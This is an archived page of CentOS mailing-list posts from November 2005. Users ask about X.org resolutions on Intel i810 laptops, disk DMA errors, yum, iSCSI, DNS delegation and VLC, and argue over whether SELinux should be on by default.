Jerry Geis wrote: > I am attempting to setup a dell inspirons 1200 laptop > media accelerator 900 from intel is the chipset so I am using the i810 > driver. > In the default 1024x768 everything is fine. > > I am trying to setup the external port not the LCD to be 1366x768. > I added a modeline to xorg.conf of: > Section "Monitor" > Identifier "Monitor0" > VendorName "Monitor Vendor" > ModelName "LCD Panel 1600x1200" > HorizSync 31.5 - 90.0 > VertRefresh 60.0 - 60.0 > ModeLine "1024x768" 65.0 1024 1048 1184 1344 768 771 777 > 806 -hsync -vsync > ModeLine "1024x768" 54.2 1024 1048 1184 1344 768 771 777 > 806 -hsync -vsync > ModeLine "1366x768" 85.5 1366 1494 1624 1798 768 770 776 > 795 -hsync +vsync > Option "dpms" > EndSection > > There is a line in the log file of: > (II) I810(0): Monitor0: Using hsync range of 31.00-70.00 kHz > (II) I810(0): Monitor0: Using vrefresh range of 50.00-85.00 Hz > (II) I810(0): Not using mode "1366x768" (no mode of this name) > (II) I810(0): Not using built-in mode "1600x1200" (width too large for > virtual size) > (II) I810(0): Not using built-in mode "1280x1024" (width too large for > virtual size) > (1366x768,Monitor0) mode clock 100000MHz exceeds DDC maximum 110MHz > (1600x1200,Monitor0) mode clock 162MHz exceeds DDC maximum 110MHz > (II) I810(0): 6632 kBytes additional video memory is required to > > I looked at the specs of the media 900 and it does something like > 25XXx10XX > > What am I not setting up correctly to see the 1366x768? > > THanks so much, > > Jerry I had a similar problem trying to set 1400x1050 on a Siemens Fujitsu Laptop. The fix for me, was to use 915 resolution from http://www.geocities.com/stomljen/ as it seems the Intel video bios has a limited set of resolution modes Hope this helps Dean

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pine rpm for centos 4
by Roger D Vargas 22 Nov '05

22 Nov '05

There is some pine rpm for release 4? Im too used to it and I dont like mutt. -- Roger D. Vargas http://dsgp.blogspot.com | Linux, programación, juegos ______________________________________________ Renovamos el Correo Yahoo! Nuevos servicios, más seguridad http://correo.yahoo.es

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cant swith to text mode consoles
by Roger D Vargas 22 Nov '05

22 Nov '05

After installing xfce I switched to runlevel 5 to have a graphic login. But The login box (and xfce) doesnt let me switch to text consoles with ctrl+alt+F key. Also, xfce is the desktop for root, but for normal user still is an ugly windows manager. -- Roger D. Vargas http://dsgp.blogspot.com | Linux, programación, juegos ______________________________________________ Renovamos el Correo Yahoo! Nuevos servicios, más seguridad http://correo.yahoo.es

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Re: [CentOS] [OT] Message-ID Threading w/Subject Append Example --WAS: pine rpm for centos 4
by Brian T. Brunner 22 Nov '05

22 Nov '05

Brian Brunner brian.t.brunner(a)gai-tronics.com (610)796-5838 >>> jlb17(a)duke.edu 11/22/05 11:29AM >>> \begin{sotto voce} I can't believe I'm jumping into a thread like this. \end{sotto voce} ***I can. On Tue, 22 Nov 2005 at 10:23am, Les Mikesell wrote > On Tue, 2005-11-22 at 09:52, Bryan J. Smith wrote: >>> Not all mail/news readers track exclusevly via Message-ID, >>> References and In-Reply-To headers. >> >> So in other words, they decide to snub decades of Internet >> standards. > > They are realistic about people's use of email. They hit > reply/reply-all to reply to the sender/group, not necessarily > to the content of the previous message, and they change > the subject line when it isn't relevant and they are changing Ah, so we ignore established standards based on users' stupidity. Good idea. *** The World Famous "Are You Sure" could/should ask these SU's, ***when the change the subject line in any way, whether they intend ***to make a new thread of just change the subject in the current thread. > the topic. Please resume this argument when you have taught > the rest of the world the value of the headers they can't Threading that *works* is the value that users would notice. ***Threading that *works* is the value that users would notice. > see and some way to get the address list from a message > without making an irrelevant In-Repy-To:. Yeah, because address books are *so* hard to use. I'm sorry, but making decisions based on Stupid User Tricks is about the worst policy I can imagine. That way lies madness. ***Or worse, imitates the Congress of the United States. *** My vote's with Bryan & Joshua... if only it counted... ******************************************************************* This email and any files transmitted with it are confidential and intended solely for the use of the individual or entity to whom they are addressed. If you have received this email in error please notify the system manager. This footnote also confirms that this email message has been swept for the presence of computer viruses. www.hubbell.com - Hubbell Incorporated

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32 bits software on 64 bits CentOS core
by Alex Yuner 22 Nov '05

22 Nov '05

Hello to everybody, it´s possible run 32 bits program on a 64 bits CentOS core?? --------------------------------- Correo Yahoo! Comprueba qué es nuevo, aquí http://correo.yahoo.es

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x windows dell inspiron 1200 setting for 1366x768
by Jerry Geis 22 Nov '05

22 Nov '05

I am attempting to setup a dell inspirons 1200 laptop media accelerator 900 from intel is the chipset so I am using the i810 driver. In the default 1024x768 everything is fine. I am trying to setup the external port not the LCD to be 1366x768. I added a modeline to xorg.conf of: Section "Monitor" Identifier "Monitor0" VendorName "Monitor Vendor" ModelName "LCD Panel 1600x1200" HorizSync 31.5 - 90.0 VertRefresh 60.0 - 60.0 ModeLine "1024x768" 65.0 1024 1048 1184 1344 768 771 777 806 -hsync -vsync ModeLine "1024x768" 54.2 1024 1048 1184 1344 768 771 777 806 -hsync -vsync ModeLine "1366x768" 85.5 1366 1494 1624 1798 768 770 776 795 -hsync +vsync Option "dpms" EndSection There is a line in the log file of: (II) I810(0): Monitor0: Using hsync range of 31.00-70.00 kHz (II) I810(0): Monitor0: Using vrefresh range of 50.00-85.00 Hz (II) I810(0): Not using mode "1366x768" (no mode of this name) (II) I810(0): Not using built-in mode "1600x1200" (width too large for virtual size) (II) I810(0): Not using built-in mode "1280x1024" (width too large for virtual size) (1366x768,Monitor0) mode clock 100000MHz exceeds DDC maximum 110MHz (1600x1200,Monitor0) mode clock 162MHz exceeds DDC maximum 110MHz (II) I810(0): 6632 kBytes additional video memory is required to I looked at the specs of the media 900 and it does something like 25XXx10XX What am I not setting up correctly to see the 1366x768? THanks so much, Jerry

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using xfce
by Roger D Vargas 22 Nov '05

22 Nov '05

I had to make a minimal install and now Im installing some packages I need. I decided to use xfce as desktop, but after install, I cant find a way to set is as preferred desktop environment. I try switchdesk xfce, but it says xfce is not installed. How can I set it? -- Roger D. Vargas http://dsgp.blogspot.com | Linux, programación, juegos ______________________________________________ Renovamos el Correo Yahoo! Nuevos servicios, más seguridad http://correo.yahoo.es

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Bad disk?
by Morten 22 Nov '05

22 Nov '05

Hi, I get the below from dmesg. The server seems to run fine, but it does worry me. What should I do? Other than take a backup.. :-) hda: dma_timer_expiry: dma status == 0x21 hda: DMA timeout error hda: dma timeout error: status=0xd0 { Busy } ide: failed opcode was: unknown hda: DMA disabled ide0: reset: success hda: dma_timer_expiry: dma status == 0x21 hda: dma_intr: status=0x51 { DriveReady SeekComplete Error } hda: dma_intr: error=0x40 { UncorrectableError }, LBAsect=11242764, high=0, low=11242764, sector=11242760 ide: failed opcode was: unknown end_request: I/O error, dev hda, sector 11242760 hda: dma_intr: status=0x51 { DriveReady SeekComplete Error } hda: dma_intr: error=0x40 { UncorrectableError }, LBAsect=11435969, high=0, low=11435969, sector=11435968 ide: failed opcode was: unknown end_request: I/O error, dev hda, sector 11435968 hda: dma_intr: status=0x51 { DriveReady SeekComplete Error } hda: dma_intr: error=0x40 { UncorrectableError }, LBAsect=11277069, high=0, low=11277069, sector=11277064 ide: failed opcode was: unknown end_request: I/O error, dev hda, sector 11277064 hda: dma_intr: status=0x51 { DriveReady SeekComplete Error } hda: dma_intr: error=0x40 { UncorrectableError }, LBAsect=11277069, high=0, low=11277069, sector=11277064 ide: failed opcode was: unknown end_request: I/O error, dev hda, sector 11277064 hda: dma_intr: status=0x51 { DriveReady SeekComplete Error } hda: dma_intr: error=0x40 { UncorrectableError }, LBAsect=11277069, high=0, low=11277069, sector=11277064 ide: failed opcode was: unknown end_request: I/O error, dev hda, sector 11277064 hda: dma_intr: status=0x51 { DriveReady SeekComplete Error } hda: dma_intr: error=0x40 { UncorrectableError }, LBAsect=11277069, high=0, low=11277069, sector=11277064 ide: failed opcode was: unknown end_request: I/O error, dev hda, sector 11277064 hda: dma_intr: status=0x51 { DriveReady SeekComplete Error } hda: dma_intr: error=0x40 { UncorrectableError }, LBAsect=11277069, high=0, low=11277069, sector=11277064 ide: failed opcode was: unknown end_request: I/O error, dev hda, sector 11277064 hda: dma_intr: status=0x51 { DriveReady SeekComplete Error } hda: dma_intr: error=0x40 { UncorrectableError }, LBAsect=11435269, high=0, low=11435269, sector=11435264 ide: failed opcode was: unknown end_request: I/O error, dev hda, sector 11435264 hda: dma_timer_expiry: dma status == 0x21 hda: DMA timeout error hda: dma timeout error: status=0xd0 { Busy } ide: failed opcode was: unknown hda: DMA disabled ide0: reset: success hda: irq timeout: status=0xd0 { Busy } ide: failed opcode was: unknown ide0: reset: success hda: irq timeout: status=0xd0 { Busy } ide: failed opcode was: unknown ide0: reset: success hda: irq timeout: status=0xd0 { Busy } ide: failed opcode was: unknown end_request: I/O error, dev hda, sector 31873944 hda: status timeout: status=0xd0 { Busy } ide: failed opcode was: unknown hda: DMA disabled hda: drive not ready for command ide0: reset: success

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Vsftpd + ssl
by Thomas E Dukes 22 Nov '05

22 Nov '05

Hello, Does anyone have this working? I have been looking for a couple of hours trying to find docs on how to set this up and so far the only thing I have found is how to enable ssl in vsftpd.conf. TIA

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x windows setting up laptop external monitor atdifferent resolution than LCD
by Jerry Geis 22 Nov '05

22 Nov '05

On 11/22/05, Jerry Geis <geisj at pagestation.com <http://lists.centos.org/mailman/listinfo/centos>> wrote: >/ I need to setup my laptop external monitor at 1366x768 while my />/ LCD is only 1024x768. Is this done by dual head selections in the />/ display configuration? / Setting up dual head machine. You can view an artcile on this at www.pcquest.com they carried this a few months back and you can search the archives from the search box. HTH and please report back success. -- Sudev Barar Learning Linux --- I was looking at dual head under the display settings menu - however, when I select my settings and click OK - NOTHING HAPPENS. The screen stays there and does not go away. Jerry

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x windows setting up laptop external monitor at different resolution than LCD
by Jerry Geis 22 Nov '05

22 Nov '05

I need to setup my laptop external monitor at 1366x768 while my LCD is only 1024x768. Is this done by dual head selections in the display configuration? How is that accomplished? Thanks, Jerry

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Re: [CentOS] SELinux threads, cynicism, one-upmanship, etc.
by Brian T. Brunner 22 Nov '05

22 Nov '05

Thanks, Mike. What I read is that SELinux is still 'beta', and while the need for good security is decades old, we (CentOS/RHEL folks) should not be presumed to be willing beta testers. "Enabled by default" presumes I'm willing. Brian Brunner brian.t.brunner(a)gai-tronics.com (610)796-5838 >>> lesmikesell(a)gmail.com 11/19/05 11:41AM >>> On Fri, 2005-11-18 at 22:42, Lamar Owen wrote: > Maybe I'm wrong, but I think any admin needs to experience having their box > cracked. It will produce the humbleness necessary to the trade, because > overconfidence is dangerous. Yes, but when the box gets cracked _because_ they are using the latest new thing their distribution added under the guise of increased security, as happened with ssh a while back, it also produces the attitude that new stuff should soak a long, long while in a distribution like fedora before going onto production boxes. You want to at least wait until the surprises stop - and I take the flurry of reports of broken apps at every update as an indication that they haven't stopped yet. Your analogy to a weapon was a good one. When the experts tuning the distribution still can't keep it from blowing up in peoples's faces some of the time, normal people should keep their distance. When the fedora and Centos lists go several months without a mysterious app failure caused by SELinux it will be time to reconsider. -- Les Mikesell lesmikesell(a)gmail.com _______________________________________________ CentOS mailing list CentOS(a)centos.org http://lists.centos.org/mailman/listinfo/centos ******************************************************************* This email and any files transmitted with it are confidential and intended solely for the use of the individual or entity to whom they are addressed. If you have received this email in error please notify the system manager. This footnote also confirms that this email message has been swept for the presence of computer viruses. www.hubbell.com - Hubbell Incorporated

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Ssh with OS X Tiger (Darwin) and CentOS 4.2
by Ryan Lum 22 Nov '05

22 Nov '05

Anyone know any issue with OS X 10.4 and CentOS with ssh or any connectivity issue with: OpenSSH_3.8.1p1 vs OpenSSH_3.9p1?

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problem with yum
by Roger D Vargas 22 Nov '05

22 Nov '05

I installed centos 4.2 but I cant get yum working, i always get a timeout error with repodata/primary.xml.gz from base. How can i solve this? -- Roger D. Vargas http://dsgp.blogspot.com | Linux, programación, juegos ______________________________________________ Renovamos el Correo Yahoo! Nuevos servicios, más seguridad http://correo.yahoo.es

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Request suggestion for Enterprise Fax Server for CentOS 4.2
by Sanjay Arora 21 Nov '05

21 Nov '05

List: Please suggest fax server software for Corporate use with CentOS...requirements...centralized, multiple modems, if required, scriptable for pre/post fax actions with perl/shell scripts, if possible compatible for faxing from open office and maybe M$ Windoz. Most necessary open source, free, being actively maintained & active mailing list. Best regards. Sanjay.

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CentOS 4.2 iscsi-initiator-utils mounting NetAPP problem
by Robin Mordasiewicz 21 Nov '05

21 Nov '05

I can successfully mount my NetApp with the iscsi-initiator-utils provided with CentOS-3.x, but with the same configuration I cannot see any results using CentOS-4.2 Any Ideas, or troubleshooting tips are appreciated. Has anyone gotten iscsi-initiator-utils version 4 to work with a NetApp ?

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ISCSI and restarting the network
by Robin Mordasiewicz 21 Nov '05

21 Nov '05

Is there a config file somewhere which I can edit which will automatically kill a specified process, and unmount a filesystem which is mounted over iscsi before shutting down the network, and then after the network is started to mount the iscsi mount point. This is my /etc/fstab and the "/IMAP" device is the iscsi device </etc/fstab> LABEL=/ / ext3 defaults 1 1 LABEL=/boot /boot ext3 defaults 1 2 none /dev/pts devpts gid=5,mode=620 0 0 none /proc proc defaults 0 0 none /dev/shm tmpfs defaults 0 0 /dev/sda3 swap swap defaults 0 0 LABEL=/IMAP /opt/test ext3 _netdev 0 0

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Re: [CentOS] SELinux threads, cynicism, one-upmanship, etc.
by Brian T. Brunner 21 Nov '05

21 Nov '05

Well, hughesjr, I'm using the *default* meaning of "default": You'll get SELinux "on" on install if you don't take action to select it off. Automagic partitioning is also default, you have to take action to get into DiskDruid. Brian Brunner brian.t.brunner(a)gai-tronics.com (610)796-5838 Brian Brunner brian.t.brunner(a)gai-tronics.com (610)796-5838 >>> mailing-lists(a)hughesjr.com 11/21/05 09:39AM >>> On Mon, 2005-11-21 at 14:15 +0000, Peter Farrow wrote: > The point was, as its very much beta quality, it should be up to the > user to ask for it, not have it dropped on them by default. > > Thats the point Brian was making, the essence of the reply to that was > "its not enabled by default because you can turn it off" > > Which is, as we all know, is a rather absurd statement....which had to > be remedied by, yes if you like, a pedantic reply, but a nonetheless > valid one... I disagree ... to me enabled by default would be like the core and base default packages .... they are turned on, and one can not turn them off. They are enabled by default, whether you need them or not. SELinux would be enabled by default if it were turned on that way. ******************************************************************* This email and any files transmitted with it are confidential and intended solely for the use of the individual or entity to whom they are addressed. If you have received this email in error please notify the system manager. This footnote also confirms that this email message has been swept for the presence of computer viruses. www.hubbell.com - Hubbell Incorporated

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RE: [CentOS] mysql user missing on centos rpm install
by Bassett, Mark 21 Nov '05

21 Nov '05

Yum install mysql-server. Mysql is just the client apps. -----Original Message----- From: centos-bounces(a)centos.org [mailto:centos-bounces@centos.org] On Behalf Of Sanjay Arora Sent: Sunday, November 20, 2005 7:00 AM To: CentOS Mailing List Subject: [CentOS] mysql user missing on centos rpm install Centos 4.2, installed mysql using yum....rpm did not create the mysql user....bug in rpm script or am I doing something wrong? but I did not do anything except yum install mysql & cat /etc/passwd ? Comments? _______________________________________________ CentOS mailing list CentOS(a)centos.org http://lists.centos.org/mailman/listinfo/centos

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Re: [CentOS] SELinux threads, cynicism, one-upmanship, etc.
by Brian T. Brunner 21 Nov '05

21 Nov '05

I see we agree. Brian Brunner brian.t.brunner(a)gai-tronics.com (610)796-5838 Brian Brunner brian.t.brunner(a)gai-tronics.com (610)796-5838 >>> mailing-lists(a)hughesjr.com 11/21/05 08:00AM >>> On Mon, 2005-11-21 at 04:38 -0800, Brian T. Brunner wrote: > Thanks, Mike. > > What I read is that SELinux is still 'beta', and while the need for good > security is decades old, we (CentOS/RHEL folks) should not be presumed > to be willing beta testers. "Enabled by default" presumes I'm willing. > > Brian Brunner > brian.t.brunner(a)gai-tronics.com > (610)796-5838 It is not enabled by default ... unless you click through screens ******************************************************************* This email and any files transmitted with it are confidential and intended solely for the use of the individual or entity to whom they are addressed. If you have received this email in error please notify the system manager. This footnote also confirms that this email message has been swept for the presence of computer viruses. www.hubbell.com - Hubbell Incorporated

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Re: [CentOS] SELinux threads, cynicism, one-upmanship, etc.
by Brian T. Brunner 21 Nov '05

21 Nov '05

People ask how my life is going, I answer, "Like a basketball... repeatedly smashed to the floor, occasionally thrown for a loop." Brian Brunner brian.t.brunner(a)gai-tronics.com (610)796-5838 >>> wmcdonald(a)gmail.com 11/21/05 05:49AM >>> On 19/11/05, Lamar Owen <lowen(a)pari.edu> wrote: > On Friday 18 November 2005 21:02, Preston Crawford wrote: > > Your name is Lamar Odom? > > :-) > > No, see > http://siusalukis.collegesports.com/sports/m-baskbl/mtt/owen_lamar01.html See also: http://www.nba.com/draft2003/profiles/McDonaldWill.html :) I used to play too. Will. _______________________________________________ CentOS mailing list CentOS(a)centos.org http://lists.centos.org/mailman/listinfo/centos ******************************************************************* This email and any files transmitted with it are confidential and intended solely for the use of the individual or entity to whom they are addressed. If you have received this email in error please notify the system manager. This footnote also confirms that this email message has been swept for the presence of computer viruses. www.hubbell.com - Hubbell Incorporated

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CentOS-announce Digest, Vol 9, Issue 13
by centos-announce-request＠centos.org 21 Nov '05

21 Nov '05

Send CentOS-announce mailing list submissions to centos-announce(a)centos.org To subscribe or unsubscribe via the World Wide Web, visit http://lists.centos.org/mailman/listinfo/centos-announce or, via email, send a message with subject or body 'help' to centos-announce-request(a)centos.org You can reach the person managing the list at centos-announce-owner(a)centos.org When replying, please edit your Subject line so it is more specific than "Re: Contents of CentOS-announce digest..." Today's Topics: 1. CEBA-2005:1120-1 CentOS 4 x86_64 xfsprogs - bugfix update (CENTOSPLUS Only) (Johnny Hughes) 2. CEBA-2005:1120-1 CentOS 4 i386 xfsprogs - bugfix update (CENTOSPLUS Only) (Johnny Hughes) ---------------------------------------------------------------------- Message: 1 Date: Sun, 20 Nov 2005 08:57:32 -0600 From: Johnny Hughes <johnny(a)centos.org> Subject: [CentOS-announce] CEBA-2005:1120-1 CentOS 4 x86_64 xfsprogs - bugfix update (CENTOSPLUS Only) To: CentOS-Announce <centos-announce(a)centos.org> Message-ID: <1132498652.14800.8.camel(a)myth.home.local> Content-Type: text/plain; charset="us-ascii" CentOS Errata and Bugfix Advisory 2005:1120-1 CentOS 4 x86_64 xfsprogs - bugfix update (CENTOSPLUS Only) This package is for the version of xfsprogs is that is included in the centosplus repo for CentOS-4 ... this is not an update to the main CentOS-4 repo. The SGI team has released a new xfsprogs SRPM for the XFS project. The following items have changed since the last release of this package: xfsprogs-2.7.3 (29 September 2005) - Fix xfs_repair handling of the morebits bit. - Merge back several kernel changes related to attr2. - Extended xfs_db expert mode commands - Clean up some fsxattr uses to reduce number of syscalls, now that IRIX also supports project identifiers via this interface. xfsprogs-2.7.2 (28 September 2005) - Fix up xfs_repair segmentation fault due to wrong allocation size. xfsprogs-2.7.1 (20 September 2005) - Fix up reporting of devices in xfs_growfs - now uses /proc/mounts in preference to /etc/mtab. - Fix a strtok-related bug in the extraction of device names, also only affecting xfs_growfs. xfsprogs-2.7.0 (16 September 2005) - Support for updated extended attributes format (attr2) - Make xfs_quota tool issue a quota sync in all the needed places, before reporting, to counter affects of delayed allocation. - Quota-related ID signedness issue fixes. - Expert mode xfs_db commands to set/remove attributes. xfsprogs-2.6.37 (11 August 2005) - Fix FreeBSD builds (getmntinfo), thanks to Craig Rodrigues. -------------------------------------- More information about the XFS project can be obtained at: http://oss.sgi.com/projects/xfs/ -------------------------------------- The following updated files have been uploaded and are currently syncing to the mirrors: i386: xfsprogs-2.7.3-1.x86_64.rpm xfsprogs-devel-2.7.3-1.x86_64.rpm src: xfsprogs-2.7.3-1.src.rpm

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[OT] DNSguruz pl help: whois structure, delegation & handling delegation with Tinydns.
by Sanjay Arora 21 Nov '05

21 Nov '05

List: Sorry for posting to this list but could not find step by step instructions anywhere nor get any concerned list to respond. Newbie to DNS technicals but can work with instructions if given in ./configure for complete idiots ;-) 1. I have taken a static IP from my ISP 203.134.221.162 and the ISP has put up an entry in APNIC whois (please check the same)...to me it seems incomplete, as it does not give any contact information/tel/email for my organization NOR any abuse email Id etc. On asking, the ISP simply told me that nobody asks anything more in whois entry from them so I would have to tell what I want of them. Please advise what a standard whois reply should show for an organisation and pointers to a RFC which guides the structure & field names of a whois record. 2. Classless delegation...I want to setup my own primary DNS Server on my DSL with secondary slave DNS servers on the net with DNS services like zoneedit.com etc. Now, I want my ISP to delegate my IP so, I can change my IP reverse DNS etc...(whenever I want instead of waiting for my ISP which takes over a month & multiple contacts, letters & faxes). Please advise what the ISP requires to do and what I require to do & in what order. My ISP says that they will do whatever is possible but since they have never had a query for delegation for a single IP, so they are not sure. Does the TinyDNS server have to be prepared in advance of the APNIC delegation entry? Does the ISP have to create a account/ID with APNIC for me? Please advise the generalised procedure & the steps sequence wise to be taken to do this. DNS Guruz please help...am desperate. With regards. Sanjay.

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how to get erratas's summary and URL with "check-update" ?
by Martin Hamant 21 Nov '05

21 Nov '05

Hello, running a "yum check-update" is cool to get a list of packages to update with versions. In addition of that, i'm looking for a way to get for each package, the link to the RH's errata and the severity status in the same report. My idea was to parse output of check-update, and join it with "centos-announce" mailing list subjects to get it. It's pretty twisted. RHN interface offer a similar report, but it's web based, authenticated, and co ... Is anyone has ever thought about it ? -- Martin

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Highpoint Rocketraid 2240
by Chris Mauritz 21 Nov '05

21 Nov '05

Has anyone on the list used one of these w/Linux? We currently use Linux + Cinelerra for editing uncompressed video (and a few dual G5 macs running Final Cut Pro). Current editing stations are getting a bit long in the tooth so I've been mulling over a mass upgrade. 8-) These cards are interesting to me because they are PCI-X and support 4 SATAII drives per multilane/infiniband connector for a total of 16 drives. Multilane is interesting to me because the editor can use a SFF system (tiny desktop footprint) with 1M multilane cables talking to the pile of disks in an external enclosure stashed out of the way with its own redundant power supply. I was going to just order some multilane 3Ware cards, but one of my more technically inclined video editors suggested this card. Any suggestions would be greatly appreciated. Best regards,

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iSCSI experiences
by Robin Mordasiewicz 20 Nov '05

20 Nov '05

I just tried an iSCSI connection to a NetAPP filer. I first tried using CentOS-4.2, but the iscsi initiator would not work. Using the command iscsi-ls would not show anything. Without spending too much time trying to figure out why, I tried from a CentOS-3 box. Connecting from the CentOS-3 box worked without a problem the first time. I will try further to get the CentOS-4 box to connect, but for starters the CentOS-3 box connection is stable and fast. I have also bonded two one gig NIC's on both the Filer, and the client, and have a separate iSCSI VLAN. I still have yet to do any benchmarking, but initially things seem ok.

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VPN via PPTP and MPPE setup
by Denis Croombs 20 Nov '05

20 Nov '05

I did have a howto for setting up PPTP on a Centos server (3.6) can anyone point me to a howto ? I have been searching the internet but as yet cannot find a howto that works for me. Thanks Denis

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Xhosts file
by Sam Drinkard 20 Nov '05

20 Nov '05

I posted a question a few days back to see if anyone could tell me where the default X0.hosts file should/does reside. Searching the system turns up nothing, and did not find any info in any of the man pages, other than it would reside in /etc, but doesn't. Setting a host access permission does not become permanent, and I'd really like to find out where the thing should be so I can solve that little irritant. Thanks.. -- Snowman

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mysql user missing on centos rpm install
by Sanjay Arora 20 Nov '05

20 Nov '05

Centos 4.2, installed mysql using yum....rpm did not create the mysql user....bug in rpm script or am I doing something wrong? but I did not do anything except yum install mysql & cat /etc/passwd ? Comments?

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CentOS 4.2 and Adaptect 1210SA
by Ryan Lum 20 Nov '05

20 Nov '05

Adaptec 1210SA with a RAID 0 Intel 815 based mobo 512mb ram During the install, Disk Druid or whatever the partition utility is, sees the first disk but says the other disk is not initialized and only reports 150MB when the array is 300MB. How do I get the CentOS installer to see the RAID 0 array correctly?

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Re: [CentOS] [OT][Practices] The Case for RBAC/MAC
by Brian T. Brunner 20 Nov '05

20 Nov '05

Brian Brunner brian.t.brunner(a)gai-tronics.com (610)796-5838 >>> thebs413(a)earthlink.net 11/18/05 09:40AM >>> On Fri, 2005-11-18 at 05:43 -0800, Brian T. Brunner wrote: >> 1: e-mail is a people skill, you affect people with it. The value >> of your presentation rises or falls with your skill at presentation. >In environments like this, communication over e-mail is not optional. This concurs with my asserted point: e-mail is a personal skill. >> 2: My embedded headless linux targets live in isolated >> networks, even relative to other computer or >> network equipment at the target site. At times, the nearest >> land is 2 miles straight down (ocean floor). > And your point is? Slightly beyond your grasp? Who, pray tell, is my attacker? >> 3: These targets are also without anything resembling >> a linux-aware operator and (ipso facto) must generate >> NO mail and self-limiting logs of a "usually ignored' type. > Well, that makes a little more sense. YAYYY! I've passed a cognitive coherence test from somebody whose methods of presentation in e-mail are sufficiently poor that I SIMPLY DON'T CARE whether I pass his tests. Once again, I depart from this conversation. ******************************************************************* This email and any files transmitted with it are confidential and intended solely for the use of the individual or entity to whom they are addressed. If you have received this email in error please notify the system manager. This footnote also confirms that this email message has been swept for the presence of computer viruses. www.hubbell.com - Hubbell Incorporated

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Re: [CentOS] [OT][Practices] The Case for RBAC/MAC
by Brian T. Brunner 19 Nov '05

19 Nov '05

1: e-mail is a people skill, you affect people with it. The value of your presentation rises or falls with your skill at presentation. 2: My embedded headless linux targets live in isolated networks, even relative to other computer or network equipment at the target site. At times, the nearest land is 2 miles straight down (ocean floor). 3: These targets are also without anything resembling a linux-aware operator and (ipso facto) must generate NO mail and self-limiting logs of a "usually ignored' type. from the above, SELinux offers me *nothing* I need and costs me something for which there is no reward. Brian Brunner brian.t.brunner(a)gai-tronics.com (610)796-5838 >>> thebs413(a)earthlink.net 11/17/05 06:38PM >>> Chris Mauritz <chrism(a)imntv.com> wrote: > SELinux shouldn't be turned on by default and in many cases > simply creates extra overhead/bloat on a system that doesn't > really need it. Okay, I give. I would like people to quantity/quality "doesn't really need it." I've really "bit my lip" on this since just after the early stuff, but it keeps coming up over and over. ******************************************************************* This email and any files transmitted with it are confidential and intended solely for the use of the individual or entity to whom they are addressed. If you have received this email in error please notify the system manager. This footnote also confirms that this email message has been swept for the presence of computer viruses. www.hubbell.com - Hubbell Incorporated

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x windows and i810 chipset
by Jerry Geis 19 Nov '05

19 Nov '05

here is part of my x file. It will not do the 1920x1080 mode. It says it is not defined. Jerry ---- Identifier "Monitor0" # "LVM-37w1" VendorName "WDE" ModelName "LVM-37w1" # Block type: 2:0 3:fe # Block type: 2:0 3:fd HorizSync 30-80 VertRefresh 50-75 # Max dot clock (video bandwidth) 140 MHz # Block type: 2:0 3:fc # DPMS capabilities: Active off:yes Suspend:no Standby:no Mode "1920x1080" # vfreq 59.934Hz, hfreq 66.587kHz DotClock 138.500000 HTimings 1920 1968 2000 2080 VTimings 1080 1082 1087 1111 Flags "-HSync" "+VSync" EndMode # Block type: 2:0 3:fe # Block type: 2:0 3:fd # Block type: 2:0 3:fc EndSection Section "Device" Identifier "Videocard0" Driver "i810" VendorName "Videocard vendor" BoardName "Intel 865" EndSection

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CentOS-announce Digest, Vol 9, Issue 12
by centos-announce-request＠centos.org 19 Nov '05

19 Nov '05

Send CentOS-announce mailing list submissions to centos-announce(a)centos.org To subscribe or unsubscribe via the World Wide Web, visit http://lists.centos.org/mailman/listinfo/centos-announce or, via email, send a message with subject or body 'help' to centos-announce-request(a)centos.org You can reach the person managing the list at centos-announce-owner(a)centos.org When replying, please edit your Subject line so it is more specific than "Re: Contents of CentOS-announce digest..." Today's Topics: 1. CEBA-2005:842 Important CentOS 4 i386 shadow-utils - bugfix update (Johnny Hughes) 2. CEBA-2005:842 Important CentOS 4 x86_64 shadow-utils - bugfix update (Johnny Hughes) ---------------------------------------------------------------------- Message: 1 Date: Fri, 18 Nov 2005 11:52:49 -0600 From: Johnny Hughes <johnny(a)centos.org> Subject: [CentOS-announce] CEBA-2005:842 Important CentOS 4 i386 shadow-utils - bugfix update To: CentOS-Announce <centos-announce(a)centos.org> Message-ID: <1132336369.4094.27.camel(a)myth.home.local> Content-Type: text/plain; charset="us-ascii" CentOS Errata and Bugfix Advisory 2005:842 https://rhn.redhat.com/errata/RHBA-2005-842.html The following updated files have been uploaded and are currently syncing to the mirrors: i386: shadow-utils-4.0.3-58.RHEL4.i386.rpm src: shadow-utils-4.0.3-58.RHEL4.src.rpm

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wget
by Peter Farrow 19 Nov '05

19 Nov '05

Dear all, It seems that wget version has had the -C (cache) option removed when it went from 1.9 to version 1.10, this happened somewhere between Centos 3.5 and 4.2. Does anyone know why the -C option was removed and how I can get it back? Other than regressing wget..... Regards Pete

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PostgreSQL 8.1 on CentOS4
by James B. Byrne 19 Nov '05

19 Nov '05

I have discovered that the default init script distributed with pgsql v8.1 sets the listening port to 5432 but does not enable tcp/ip connections. One must add the -i switch to the invocation line in the script. I am not sure if this is an oversight or whether there is another way to tell postmaster to start with tcp/ip listening enabled that I am unaware of. However, I thought that this information might be of interest to anyone else running a non-distro version of pgsql. Regards, Jim -- *** e-mail is not a secure channel *** mailto:byrnejb.<token>@harte-lyne.ca James B. Byrne Harte & Lyne Limited vox: +1 905 561 1241 9 Brockley Drive fax: +1 905 561 0757 Hamilton, Ontario <token> = hal Canada L8E 3C3

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x windows and i810 chipset
by Jerry Geis 19 Nov '05

19 Nov '05

I have an i810 chipset and am trying to set a custom mode. X is not taking that mode. Has anyone else run into this situation? How do I get X to take the mode on an i810 driver. Jerry

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How to properly install VLC?
by Olaf Greve 19 Nov '05

19 Nov '05

Hi all, My colleagues and friends from time to time send me .wmv files and I'd like to be able to view them under CentOS. VLC was recommended to me, and AFAIR about a half year ago I tried installing it. I don't remember the exact details, but I do remember that the Red Hat and Fedora binary distributions didn't work without giving all sorts of errors. I _think_ I then did a source compilation, and managed to get VLC at least to start up from the command line. However... It is still a brute text interface only, and when I try to add a wmv file to the playlist it gives me all sorts of errors and nagging about 'file format probably not supported' etc. :( I just tried to install the Red Hat binary distribution again from FireFox (from: http://www.videolan.org/vlc/) and I didn't see it complain about anything, but still it doesn't work any differently from the above. :((( Does anyone know how to go about this (I don't mind doing a source compilation, just as long as I now which version to grab and how to get it properly installed)? Cheers, Olafo

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Beware - Yum 3.5 to 3.6 upgrade replaces named.conf
by Michael Rock 18 Nov '05

18 Nov '05

